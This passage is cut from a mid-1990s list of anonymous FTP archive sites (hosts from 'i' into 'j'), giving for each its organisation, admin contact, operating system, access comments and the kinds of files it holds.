mednet; music; nat; + next_cap; nootropics; raves; scruton; synoptics; tools; zines + +Site : iacrs2.unibe.ch +Country: Switzerland +GMT : +1 +Date : 30-Oct-94 +Source : Netrek FAQ +Alias : +Admin : root@iacrs2.unibe.ch +Organ : Universitaet Bern (University of Berne), Berne, Institute of + Physical Chemistry +Server : +System : Unix +URL : ftp://iacrs2.unibe.ch/ +Comment: +Files : AIX PD software; MS-DOS; Perl + +Site : iamftp.unibe.ch +Country: Switzerland +GMT : +1 +Date : 25-Jan-95 +Source : old ftp-list +Alias : siam.unibe.ch, iamsun.unibe.ch +Admin : horn@iam.unibe.ch (Heike Horn) +Organ : Universitaet Bern (University of Berne), Berne, CS and Applied + Math dept. +Server : +System : Unix (Sun) +URL : ftp://iamftp.unibe.ch/ +Comment: everything is logged; server can tar and (de)compress +Files : C++; comm; databases; emacs; exptrees; FAQ; forte94; ftp-list (old); + GNU; games; graphics; IAM; images; languages; lgtlib; mail-lists; + Mathematica; MPATH; multimedia; network; Otter; PC; Postscript; + Profile; Range Images; sound; Suntools; Systemtools; tech-reports; + Tex; text-processing; Usenet; X11 + +Site : ibis.cs.umass.edu +Country: USA +GMT : -5 +Date : 22-May-94 +Source : scslwide.sony.co.jp +Alias : +Admin : ftp@ibis.cs.umass.edu +Organ : University of Massachusetts - Amherst, Amherst, Massachusetts, + CS dept., Object Systems Laboratory +Server : +System : Unix +URL : ftp://ibis.cs.umass.edu/ +Comment: mirrored on scslwide.sony.co.jp; also available through gopher; + use ftp.cs.umass.edu:/pub/osl +Files : amer; darko; eliot; eric; gm3; memory-subsystem; norm; packages; + papers + +Site : icarus.riacs.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : riacs.edu +Admin : ftp@icarus.riacs.edu, ftp@riacs.edu (for requesting access) +Organ : +Server : +System : Unix +URL : ftp://icarus.riacs.edu/ +Comment: this server only offers access upon approval of the person in + charge. All users accessing this service will be logged and + monitored upon login. If you are not granted access send mail + to ftp@riacs.edu requesting access if you are determined. +Files : SLIP; chkpt; Macdump; Xpostit + +Site : icdc.llnl.gov +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Lawrence Livermore National Labs, , California +Server : +System : VAX/VMS running MultiNet +URL : ftp://icdc.llnl.gov/ +Comment: default directory: TOOLS:[FAL$SERVER] +Files : + +Site : idlastro.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland +Server : +System : Unix +URL : ftp://idlastro.gsfc.nasa.gov/ +Comment: +Files : astronomy; Interactive Data Language (IDL) routines + +Site : iear.arts.rpi.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Rensselaer Polytechnical Institute, Troy, New York, Arts dept. +Server : +System : Unix +URL : ftp://iear.arts.rpi.edu/ +Comment: nice welcome: You're a guest! Please tell use who you are. + Welcome, enjoy your stay! Bye, come back soon :) +Files : star GIFs; raytracers; RTN; graphics gems; numerical recipes; + raytracing bibliographies + +Site : iecc.com +Country: +GMT : +Date : 02-Aug-94 +Source : ftp.sterling.com +Alias : +Admin : +Organ : IECC +Server : +System : Unix +URL : ftp://iecc.com/ +Comment: some files to be mirrored on ftp.sterling.com +Files : allstar; articles; cbook90; file; gbook; jclt + +Site : ietf.cnri.reston.va.us +Country: USA +GMT : -5 +Date : 12-Feb-94 +Source : Internet World +Alias : +Admin : root@ietf.cnri.reston.va.us +Organ : IETF and ISOC experimental FTP server, Reston, Virginia +Server : +System : +URL : ftp://ietf.cnri.reston.va.us/ +Comment: +Files : IESG; IETF; internet-drafts; ISOC + +Site : ifcss.org +Country: USA +GMT : -6 +Date : 29-Sep-94 +Source : pinghua@econ.berkeley.edu (Pinghua Young) {posting} +Alias : +Admin : ftp-info@ifcss.org (for help), ftp-admin@ifcss.org (administrative) +Organ : IFCSS, Chinese Community Information Center (CCIC) +Server : gopher, www +System : Unix +URL : ftp://ifcss.org/ +Comment: please transfer large files at off-peak hours: 1700-0800, esp. try + to avoid Friday afternoon and Monday morning peak hours; mirrored + on cnd.org, ftp.edu.tw; service unavailable 1800-2000 Sunday + for system backup; this site is looking for a new provider +Files : act; china-studies; hxwz; IFCSS; immigration; jobs; network; org; + services; software to translate the chinese.* and fj.* hierarchy + postings: cxterm, hztty, macblue, mule, newswatcher, simpterm, + zwdos; tax + +Site : iicm.tu-graz.ac.at +Country: Austria +GMT : +1 +Date : 23-Aug-94 +Source : ftp.tu-graz.ac.at +Alias : triton; +Admin : ktrummer@iicm.tu-graz.ac.at +Organ : Technischer Universitaet Graz (Graz Institute of Technology), Graz +Server : +System : Unix +URL : ftp://iicm.tu-graz.ac.at/ +Comment: Home of Hyper-G +Files : COSTOC; ED-MEDIA 95; HM-card (PC Hypermedia Authoring Tool); Hyper-G + (software and docs); JUCS (Journal for Universal Computer Science); + mm; movies; panmail; photos; prospekt; sa94 + +Site : ils.nwu.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : old ftp-list +Alias : aristotle.ils.nwu.edu +Admin : +Organ : North Western University +Server : +System : Unix (SunOS 4.1) +URL : ftp://ils.nwu.edu/ +Comment: +Files : CoVis; c25; Mush; neves; nlp; papers; sourdough + +Site : image.vuse.vanderbilt.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : Perry.Rovers@kub.nl +Alias : +Admin : rap2@vuse.vanderbilt.edu (Richard Alan Peters II) +Organ : Vanderbilt University, Nashville, Tennessee, Vanderbilt University + School of Engineering +Server : +System : Unix (SunOS 4.1) +URL : ftp://vuse.vanderbilt.edu/ +Comment: +Files : morphology software (lots) + +Site : images.jsc.nasa.gov +Country: USA +GMT : -6 +Date : 23-Aug-94 +Source : kmarsch@nomad.jsc.nasa.gov (Kevin Marsh) {posting} +Alias : +Admin : kmarsch@ja6.jsc.nasa.gov (Kevin Marsh) +Organ : NASA - Johnson Space Center, , +Server : gopher: images.jsc.nasa.gov:70; WWW: + http://images.jsc.nasa.gov/html/home.html +System : Windows NT +URL : ftp://images.jsc.nasa.gov/ +Comment: spaceflight material is available from directories: PAO and EARTH +Files : Earth observations from STS-59; Public Affairs images + +Site : inesc.inesc.pt +Country: Portugal +GMT : -1 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : INESC +Server : +System : Unix (SunOS 4.1) +URL : ftp://inesc.inesc.pt/ +Comment: apparently totally empty +Files : + +Site : indyvax.iupui.edu +Country: +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : VAX/VMS running MultiNet +URL : ftp://indyvax.iupui.edu/ +Comment: default directory: TWG$ROOT:[PUB] +Files : + +Site : inf.wsp.krakow.pl +Country: Poland +GMT : +1 +Date : 23-Aug-94 +Source : sfrafa@cyf-kr.edu.pl (Jaroslaw Rafa) {posting} +Alias : +Admin : raj@inf.wsp.krakow.pl (Jaroslaw Rafa) +Organ : Pedagogical University, Cracow, CS dept. +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://inf.wsp.krakow.pl/ +Comment: default directory: /SYS/PROGRAMS/FTP; 5 Mb available to upload files + in INCOMING; description of files in !NOWOSCI.INF (in Polish); +Files : MS-DOS utilities; Novell + +Site : infant2.sphs.indiana.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : Doom admin +Alias : +Admin : barry@noc.unt.edu (Barry Bloom, Doom archive) +Organ : University of Indiana, Bloomington, Indiana +Server : +System : Unix +URL : ftp://infant2.sphs.indiana.edu/ +Comment: official Doom archive +Files : Doom; Netrek + +Site : info.cern.ch +Country: Switzerland +GMT : +1 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : www0.cern.ch +Admin : +Organ : European Laboratory for Particle Physics (CERN), Geneva +Server : +System : Unix (System V Release 4.0) +URL : ftp://info.cern.ch/ +Comment: +Files : IETF; RPC; WWW (Mosaic etc., mirrored on www.jsc.nasa.gov); + WWW94 + +Site : info.cren.net +Country: USA +GMT : -5 +Date : 17-Apr-94 +Source : conklin@bitnic.bitnet (Jim Conklin) {mailinglist} +Alias : +Admin : ftp-maint@cren.net +Organ : Corporation for Research and Educational Networking (CREN), + Washington D.C., D.C. +Server : mail: listserv@bitnic.cren.net, gopher://info.cren.net/ +System : Unix +URL : ftp://info.cren.net/ +Comment: also accessible by Gopher to info.cren.net, port 70; max. 10 users; + transfers are logged +Files : BitEARN nodelist; Bitnet info; CREN info: doc, newsletter, rfp + +Site : info.er.usgs.gov +Country: USA +GMT : +Date : 23-May-94 +Source : +Alias : oemg.er.usgs.gov +Admin : +Organ : U.S. Geographical Survey, Lakewood County +Server : +System : Unix (SunOS 4.1) +URL : ftp://info.er.usgs.gov/ +Comment: +Files : contracts; dcw; gils; GIV; GS-STUFF; npr; sdts; smalltalk; X.500 + +Site : info.eunet.fi +Country: Finland +GMT : +2 +Date : 22-May-94 +Source : dlist@ora.com +Alias : eunet.fi +Admin : ftp@eunet.fi +Organ : EUNet FI +Server : +System : +URL : ftp://info.eunet.fi/ +Comment: does not accept connections whose address it can't find +Files : EUNet info + +Site : info.mcs.anl.gov +Country: USA +GMT : -6 +Date : 23-May-94 +Source : +Alias : anagram.mcs.anl.gov, charlotte.mcs.anl.gov +Admin : +Organ : Argonne National Laboratory, , , Mathematics and Computer Science + Division +Server : +System : Unix +URL : ftp://info.mcs.anl.gov/ +Comment: software available is part of ongoing research projects. We may + occasionally send you updates on software you download from the + /pub/systems directory +Files : Ada; adirfor (autodiff); ADOLC; automated.reasoning; BlockSolve; + chammp; Crescendo; Dataphile; DELTA; Dore; fdb; formed; fortran-m; + Gels; GenoGraphics; HIPPI_RS6000; Highlights; ibm_sp1; MINPACK-2; + mpi; nanotech; news; NeXT; nexus; Otter; p4; pcn; pcrc-ip3; + pdetools; PORTAL; qed; RDP; RNAdb; SCIMMS; security; splash_p4; SWE; + tech-reports; upshot; volren; whitepapers; xbibtex + +Site : info.rutgers.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : hangout.rutgers.edu +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : Unix +URL : ftp://info.rutgers.edu/ +Comment: +Files : caipworks; forms (bicycle, camden1, citadel, corporate, Eisenhower, + eisenreg); gopher; Info; International Connectivity; Internet; maps; + Mosaic; MS-DOS (mirror of wuarchive:/mirror/msdos); Performance; + RFCs; Rutgers Press; soc.religion.christian; sounds; WWII; x-files + +Site : info.tva.gov +Country: USA +GMT : -6 +Date : 18-Aug-94 +Source : aa3396@freenet.lorain.oberlin.edu (Ed Ditto) +Alias : +Admin : gopher-admin@info.tva.gov +Organ : Tennessee Valley Authority, Chattanooga, Tennessee +Server : +System : Unix (SunOS 4.1) +URL : ftp://info.tva.gov/ +Comment: Gopher via info.tva.gov; if you can't reach the name, try 152.85.3.3 +Files : comp: galaxy, GNU; docs; p_e_g (Plain English Guide to the + Internet); river info; surplus equipment; technology transfer info + +Site : info.umd.edu +Country: USA +GMT : -5 +Date : 17-Jul-94 +Source : MODERxx.ZIP; NATODATA List; old ftp-list +Alias : inform.umd.edu +Admin : jay_evove@umail.umd.edu (Jay Evove: PC stuff), + scott_jenkins@umail.umd.edu (Scott Jenkins: Novell stuff), + janet_mcleod@umail.umd.edu (Janet McLeod: other stuff) +Organ : University of Maryland, , Maryland +Server : +System : Unix (Ultrix FTP 4.35) +URL : ftp://info.umd.edu/ +Comment: has telnet full-screen front-end: telnet to info.umd.edu + and login as 'info'; also available through gopher +Files : info: Campus Calendars/Services, computers, EconData, Government, + MOVED, ReadingRoom, StudentOrg, Teaching, USAToday, UofMD + System/UMCP; Mac; MSDOS; NATO documents; Novell; OS/2; Windows + +Site : infolib.murdoch.edu.au +Country: Australia +GMT : +10 +Date : 02-Jun-94 +Source : +Alias : portia.murdoch.edu.au +Admin : +Organ : Murdoch University +Server : +System : Unix (SunOS 4.1) +URL : ftp://infolib.murdoch.edu.au/ +Comment: +Files : bib; dir; guides; journals; reports; software: alex, archie, gopher, hytelnet, + libs, netlib, news, nirtools, wais, www; std's; subj: asian, bes, + econ, educ, hum, law, lib, mps, soc, vet; train + +Site : informatik.ethz.ch +Country: Switzerland +GMT : +1 +Date : 15-Dec-94 +Source : sgi/anonftp/list +Alias : informatik.inf.ethz.ch, neptune.inf.ethz.ch, neptune.ethz.ch +Admin : stabsoft@inf.ethz.ch +Organ : ETH-Zurich, Zurich, CS dept. +Server : +System : Unix +URL : ftp://informatik.ethz.ch/ +Comment: read CONTENTS & README +Files : cathode; CG; Coco; dinfk; gft; Macmeth; Maple; MathO2; Matlab; + Oberon; security; Solving Problems; Traces; visulab; XYZ + +Site : inorganic5.chem.ufl.edu +Country: USA +GMT : -5 +Date : 29-Sep-94 +Source : jlewis@chem.ufl.edu (Jon Lewis) {posting} +Alias : +Admin : jlewis@chem.ufl.edu (Jon Lewis) +Organ : University of Florida, , Florida, Chemistry dept. +Server : gopher, www +System : KA9Q/NOS (CWRU/MTA) +URL : ftp://inorganic5.chem.ufl.edu/ +Comment: Home site for Nos11cj; WS_FTP users, set Server type to KA9Q/NOS; + this system shuts down for about 1 minute at 1700 and 0630 local + time; chem info of use only to UF Chem. dept. Stay out or have your + site banned if you don't work for UFL chem. dept.; logins and + transfer are logged +Files : Cmpqwk (Windows off-line QWK mail reader); MS-Windows (from + ftp.microsoft.com), games, winsock (apps, pre-release), utils; NDIS + (NDIS packet driver shim); NOS (binaries, docs, hints for using KA9Q + NOS for ftp/gopher/pop3/ppp/slip/smtp/www use; ODIstuff (ODI packet + driver shim); virus (McAfee) + +Site : interviews.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix (Ultrix 4.1) +URL : ftp://interviews.stanford.edu/ +Comment: +Files : Home of InterViews X toolkit + +Site : io.cc.gettysburgh.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : clea@gettysburgh.edu +Organ : Gettysburgh College, Gettysburgh, Pennsylvania, + CC/Physics dept., CLEA (Contemporary Lab Experiences in Astronomy) +Server : +System : Unix +URL : ftp://io.cc.gettysburgh.edu/ +Comment: files for undergraduate Astronomy classes +Files : asteroids; astrolabs; clea_products; galaxies; guidestar; images; + supernovae + +Site : ionews.io.org +Country: USA +GMT : -5 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : IO +Server : +System : +URL : ftp://ionews.io.org/ +Comment: +Files : bsdi; graphics; Linux; PC; Unix + +Site : ipac.caltech.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : +URL : ftp://ipac.caltech.edu/ +Comment: +Files : gated; Sendmail; named; kermit; FTP-list + +Site : iraf.noao.edu +Country: USA +GMT : -7 +Date : 25-Jan-95 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : tucana.tuc.noao.edu, tucana.noao.edu +Admin : +Organ : National Optical Astronomy Observatories (NOAO) +Server : +System : Unix (SunOS) +URL : ftp://iraf.noao.edu/ +Comment: several files in /pub plus public directories from several persons +Files : 12coe; BBS-LAN; chspect; comp.fits; eds; IRAF archive; luu; TeX; + v2103-beta; valdes + +Site : ireq-robot.hydro.qc.ca +Country: Canada +GMT : +Date : 11-Feb-94 +Source : old ftp-list +Alias : amadeus.ireq-robot.hydro.qc.ca +Admin : +Organ : +Server : +System : +URL : ftp://ireq-robot.hydro.qc.ca/ +Comment: +Files : emacs; images; irmx; ispell; MS-DOS + +Site : iride.unipv.it +Country: Italy +GMT : +1 +Date : 25-Dec-95 +Source : rubini@ipvvis.unipv.it (Allessandro Rubini) {posting} +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://iride.unipv.it/ +Comment: anything you do is logged +Files : ale; bollini; fovea; gpm; info; Linux (ha-kit, profile, readprofile, + vbell); Pacco; vipers + +Site : iron.nttc.edu +Country: USA +GMT : +Date : 22-May-94 +Source : posting in comp.infosystems.announce by msd9@po.cwru.edu + (Mark S. Demichele) +Alias : +Admin : info@nttc.edu +Organ : NTT Center +Server : +System : Unix +URL : ftp://iron.nttc.edu/ +Comment: telnet: login as visitor, gopher: iron.nttc.edu, www: + irridium.nttc.edu +Files : awards; labs; SBIR/STTR docs; sollicitations + +Site : is.internic.net +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : admin@internic.net, info@internic.net +Organ : Internet NIC - InfoSource Archive by General Atomics +Server : +System : Unix +URL : ftp://is.internic.net/ +Comment: major disclaimer +Files : Internet information + +Site : isdres.er.usgs.gov +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : U.S. Geographical Survey (USGS), Lakewood County +Server : +System : VAX/VMS running Multinet +URL : ftp://isdres.er.usgs.gov/ +Comment: default directory: DUA2:[NETDIST.PUB] +Files : U.S. Geological Survey Maps + +Site : isfs.kuis.kyoto-u.ac.jp +Country: Japan +GMT : +9 +Date : 15-Dec-94 +Source : Acorn FTP list +Alias : +Admin : +Organ : University of Kyoto, Kyoto, KUIS +Server : +System : Unix +URL : ftp://isfs.kuis.kyoto-u.ac.jp/ +Comment: directories: /.u2/oldnews/comp/binaries/acorn + /.u2/oldnews/comp/sources/acorn (unsure if still supported) +Files : archivers; BSD; cad; dbms; docs; DOS extender; ftpmail; games; GNU; + graphics; HP; Human 68K; IEN; info; ISODE; JUNET-DB; KU; + KUIS papers; KUIS tech-reports; lang; Linux; Mac; Mach; Minix; + MS-DOS; netlib; news.archives; RFCs; source_rpc; Sun-dist; TeX; + UCB fixes; Windows; Wnn; X11 + +Site : isgate.is +Country: Iceland +GMT : -1 +Date : 15-Dec-94 +Source : Acorn FTP list as posted to news.answers +Alias : +Admin : archive-management@isgate.is +Organ : ISnet SURIS/ICEUUG +Server : gopher, www +System : Unix +URL : ftp://isgate.is/ +Comment: directory: pub/Usenet/Usenet.bin/comp.binaries.acorn; please + consider other sites if you're not in Iceland, because this is on + a 56Kb sattelite link; max. 8 users +Files : AIX; BSD-sources; C++; GNU (mirror); HP48; HP UX; hytelnet; info; + Internet info; ISnet; Linux (mirror); Mac; network; OS/2; OSI; other + Iceland servers; PC; Sun; sysadmin; Unix; Usenet; Veronica; VMS; + WAIS; X11 + +Site : isis.cshl.org +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://isis.cshl.org/ +Comment: +Files : + +Site : israel.nysernet.org +Country: USA +GMT : -5 +Date : 24-Aug-94 +Source : old ftp-list +Alias : nysernet.org +Admin : consult@nysernet.org +Organ : NYSERNET +Server : +System : +URL : ftp://israel.nysernet.org/ +Comment: try 'get README|more' (no quotes) to read README page by page; + [weird system (with spaces in filenames and all that.. read the + docs)] +Files : CoSN; current business; e-mail; festival; files of Jewish interest + (in /israel); folk music; Government info (US & World); literacy; + learner; mutlu; ncesgnrl; newspaper; news & services; NYSERNET + +Site : iss.byu.edu +Country: USA +GMT : -7 +Date : 11-Feb-94 +Source : old ftp-list +Alias : kolob.byu.edu, noc.byu.edu +Admin : +Organ : Brigham-Young University +Server : +System : NeXTStep (NeXT 1.0) +URL : ftp://iss.byu.edu/ +Comment: +Files : modem tests; name-service; tcp-remote + +Site : issun14.unige.ch +Country: Switzerland +GMT : +1 +Date : 17-Apr-94 +Source : +Alias : +Admin : +Organ : University of Geneva, Geneva +Server : +System : Unix (SunOS 4.1) +URL : ftp://issun14.unige.ch/ +Comment: +Files : issco; ktools; lhip; plhip + +Site : isy.liu.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : ftpadm@isy.liu.se +Organ : Linnkoping University, Linnkoping, EE dept. +Server : +System : Unix +URL : ftp://isy.liu.se/ +Comment: +Files : 32K; C++ classes; colour; ela; GNU; icon; images; imagesX; KA9Q; + Mac; modules; PatentPapers; PC Route; PLP; Postgres; reports; + security; sipp; slip; Sunview; TCL; tcsh; TeX; tiff; top; + transputer; UUPC; VT-100 art; X11; Xstuff + +Site : iti.gov.sg +Country: Singapore +GMT : +8 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : genesis.iti.gov.sg +Admin : +Organ : ITI +Server : +System : Unix (SunOS 4.1) +URL : ftp://iti.gov.sg/ +Comment: +Files : enscript; fvs; PC Mosaic; svlib + +Site : itkftp.kub.nl +Country: Netherlands +GMT : +1 +Date : 13-Aug-94 +Source : Perry.Rovers@kub.nl (from Kubit, local magazine) +Alias : itksu5.kub.nl +Admin : thiersch@kub.nl (Craig Thiersch) +Organ : Katholieke Universiteit Brabant (Tilburg University), Tilburg, + Faculteit der Letteren (Department of Language and Literature) +Server : +System : Unix (SunOS 4.1, Sparcstation 1) +URL : ftp://itkftp.kub.nl/ +Comment: transfers are logged +Files : Research papers: computational linguistics -- syntax, semantics + +Site : itkwww.kub.nl +Country: Netherlands +GMT : +1 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl (from Kubit, local magazine) +Alias : itksue.kub.nl, greyftp.kub.nl +Admin : Arthur.vanHorck@kub.nl (Arthur van den Horck) +Organ : Katholieke Universiteit Brabant (Tilburg University), Tilburg, + Instituut voor Taal- en Kennistechologie (Institute for + Language Technology and Artificial Intelligence, ITK) +Server : WWW: http://itkwww.kub.nl/ +System : Unix (SunOS 4.1, Sparcstation IPC) +URL : ftp://itkwww.kub.nl/ +Comment: transfers are logged; WWW access to the Grey Files project via + http://greywww.kub.nl/ +Files : Grey files project; ITK Research papers: computational linguistics, + syntax, semantics; nlnet.culinair FAC + +Site : ftp.science.unitn.it +Country: Italy +GMT : +1 +Date : 14-Dec-94 +Source : old ftp-list +Alias : itnsg1.cineca.it, itnsg1.science.unitn.it +Admin : valter@itnsg1.science.unitn.it +Organ : Laboratorio di Fisica Computazionale (Computational Physics + Laboratory, INFM), Povo +Server : +System : Unix +URL : ftp://itnsg1.cineca.it/ +Comment: all transfers are logged; max. 5 users +Files : compression; Graphics and Visualization; PC + +Site : iworks.ecn.uiowa.edu +Country: USA +GMT : -6 +Date : 19-Apr-94 +Source : sserb@vnet.ibm.com (Sorin Serb) +Alias : +Admin : +Organ : University of Iowa, , Iowa +Server : +System : Unix (HP-UX) +URL : ftp://iworks.ecn.uiowa.edu/ +Comment: Interworks: HP-UX side of the library, DOMAIN and other sides on + iworks2.ecn.uiowa.edu; anonymous logins only +Files : comp.hp (binaries) + +Site : iworks2.ecn.uiowa.edu +Country: USA +GMT : -6 +Date : 19-Apr-94 +Source : sserb@vnet.ibm.com (Sorin Serb) +Alias : +Admin : +Organ : University of Iowa, , Iowa +Server : +System : Unix +URL : ftp://iworks2.ecn.uiowa.edu/ +Comment: Interworks: HP-UX side on iworks.ecn.uiowa.edu +Files : comp.apollo (binaries); Unix (Apollo) + +Site : jaguar.utah.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : jaguar.cs.utah.edu +Admin : +Organ : University of Utah, Salt Lake City, Utah, CS dept. +Server : +System : Unix +URL : ftp://jaguar.utah.edu/ +Comment: +Files : GNU + +Site : jagubox.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : ftp.amug.org +Alias : +Admin : ftp-bugs@jagubox.gsfc.nasa.gov +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland, +Server : +System : Unix (A/UX, Mac Quadra 950+) +URL : ftp://jagubox.gsfc.nasa.gov/ +Comment: mirrored on ftp.amug.org; all access is logged; (de)compress and + g(un)zip on the fly +Files : A/UX (Apple, daemons, GNU, info, patches, security, sys, technotes, + UUCP, utilities, web); Mac; misc (Monty Python, rem.lyrics) + +Site : jammin.nosc.mil +Country: USA +GMT : -8 +Date : 24-Aug-94 +Source : Unix Info magazine +Alias : +Admin : +Organ : NOSC, San Diego, California +Server : +System : Unix +URL : ftp://jammin.nosc.mil/ +Comment: +Files : cd; reggae + +Site : jaring.my +Country: Malaysia +GMT : +8 +Date : 12-Feb-94 +Source : hch@nctuccca.edu.tw (Chih-Hsien Huang) +Alias : +Admin : noc@jaring.my +Organ : Jaring Network, Malaysia +Server : +System : Unix +URL : ftp://jaring.my/ +Comment: uploading allowed to /pub/incoming, mail to the admin when you + upload something; users outside Malaysia should not use this one; + needs a reversable IP number +Files : + +Site : jatz.aarnet.edu.au +Country: Australia +GMT : +10 +Date : +Source : dlist@ora.com +Alias : +Admin : +Organ : Australian Academic & Research Network +Server : +System : +URL : ftp://jatz.aarnet.edu.au/ +Comment: +Files : + +Site : jei.umd.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : keane@jei.umd.edu (Christopher Keane) {posting} +Alias : +Admin : +Organ : University of Maryland, , Maryland, Joint Education Iniative +Server : gopher +System : Unix (System V Release 4.0) +URL : ftp://jei.umd.edu/ +Comment: +Files : agi-gopher; archive; dem; gal-gopher; JEI info; mail; math; Obin; + SUNWspro; Teacher development acitivities; TROIKA; WWW + +Site : jetta.if.uj.edu.pl +Country: Poland +GMT : +1 +Date : 10-Dec-94 +Source : ftp.cyf-kr.edu.pl +Alias : +Admin : +Organ : University of J [?], Physics dept. +Server : +System : Unix (System V Release 4.0) +URL : ftp://jetta.if.uj.edu.pl/ +Comment: +Files : demo (seashore.gif); dos (texfonts); dvx (fonts, misc, patch, ports, + utils); graphics (RTrace); Linux (Linux 1.0.5, NIS, Slackware 1.1.1, + XFree86 2.1); misc (assorted utils); novell (cheyenne, netwire, + novuser, security); some mirrors from other Polish sites (from + galaxy.uci.agh.edu.pl, ifuj, iiuj): docs, e-press, GNU, graphics, + Linux, MS-DOS, network, Novell, pigulki, Sun-patches, TeX (ctex, + emtex, mex); tip; X11; xmosaic + + +Site : jhunix.hcf.jhu.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : +Organ : Johns Hopkins University, Baltimore, Maryland +Server : +System : Unix +URL : ftp://jhunix.hcf.jhu.edu/ +Comment: +Files : aicgs; Internet Navigators; Internet Talk Radio (ITR); JHU network + info; JHU press releases; Mac; mailinglists; MS-DOS; security + papers; sendmail configuration files; Tolkien mailinglist archive + (faqs, images, etc.); usagi; weather + +Site : jhuvm.hcf.jhu.edu +Country: USA +GMT : -5 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Johns Hopkins University, Baltimore, Maryland +Server : +System : VM/CMS +URL : ftp://jhuvm.hcf.jhu.edu/ +Comment: ANONYMOU logged in; working directory = ANONYMOU 191 (ReadOnly); + you need to know the name upfront: CD TOLKIEN will take you to the + archives of the TOLKIEN-L list +Files : archives of several mailing lists; SCHOLAR; XDEMOS + +Site : jim.ultra.nyu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : New York University, New York, New York +Server : +System : Unix +URL : ftp://jim.ultra.nyu.edu/ +Comment: +Files : gcc + +Site : joker.optics.rochester.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Rochester, Rochester, New York, Optics dept. +Server : +System : Unix +URL : ftp://joker.optics.rochester.edu/ +Comment: read README [?] +Files : ham-radio; Mac + +Site : jpl-devvax.jpl.nasa.gov +Country: USA +GMT : -8 +Date : 23-May-94 +Source : old ftp-list +Alias : devvax.jpl.nasa.gov +Admin : +Organ : NASA - Jet Propulsion Laboratory, Pasadena, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://jpl-devvax.jpl.nasa.gov/ +Comment: +Files : Perl 4.x, 5.x; Patch; Wcl; xopps + +Site : jplinfo.jpl.nasa.gov +Country: USA +GMT : -8 +Date : 23-Aug-94 +Source : old ftp-list +Alias : jpl-info.jpl.nasa.gov, pubinfo.jpl.nasa.gov +Admin : newsdesk@jplpost.jpl.nasa.gov (JPL Public Information Office) +Organ : NASA - Jet Propulsion Laboratory, Pasadena, California +Server : +System : NetWare (PC fileserver) +URL : ftp://jplinfo.jpl.nasa.gov/ +Comment: directories: /educator, /images, /missions, /news, /software, + /universe; directory set to /jplpao/public/jplinfo +Files : archive; educator; hires; html; Images and text files from JPL's + robotic space missions for NASA; missions; news; sircxsar; topex; + universe + +Site : js-sfbsun.cs.uni-sb.de +Country: Germany +GMT : +1 +Date : 17-Apr-94 +Source : +Alias : +Admin : hilfe@js-sfbsun.cs.uni-sb.de +Organ : Universitaet des Saarlandes (University of the Saarland), + Saarbruecken, CS dept., AG Siekmann +Server : +System : Unix +URL : ftp://js-sfbsun.cs.uni-sb.de/ +Comment: max. 5 users; transfers are logged; +Files : keim; krip; mkrp; seki + +Site : julius.cs.qub.ac.uk +Country: UK +GMT : 0 +Date : 23-Aug-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : Q University at B [?], B, CS dept. +Server : +System : NeXTStep (NeXT 1.0) +URL : ftp://julius.cs.qub.ac.uk/ +Comment: +Files : Language Survey; Space Digest + +Site : jupiter.saic.com +Country: USA +GMT : +Date : 11-Jul-94 +Source : +Alias : +Admin : +Organ : SAIC +Server : +System : Unix (SunOS 4.1). +URL : ftp://jupiter.saic.com/ +Comment: Virus-L/comp.virus readers will probably recognize this machine as + the one Fred Cohen is posting from. Why doesn't he store his papers + and books here? ;-) +Files : + +Site : jupiter.sun.csd.unb.ca +Country: Canada +GMT : +Date : 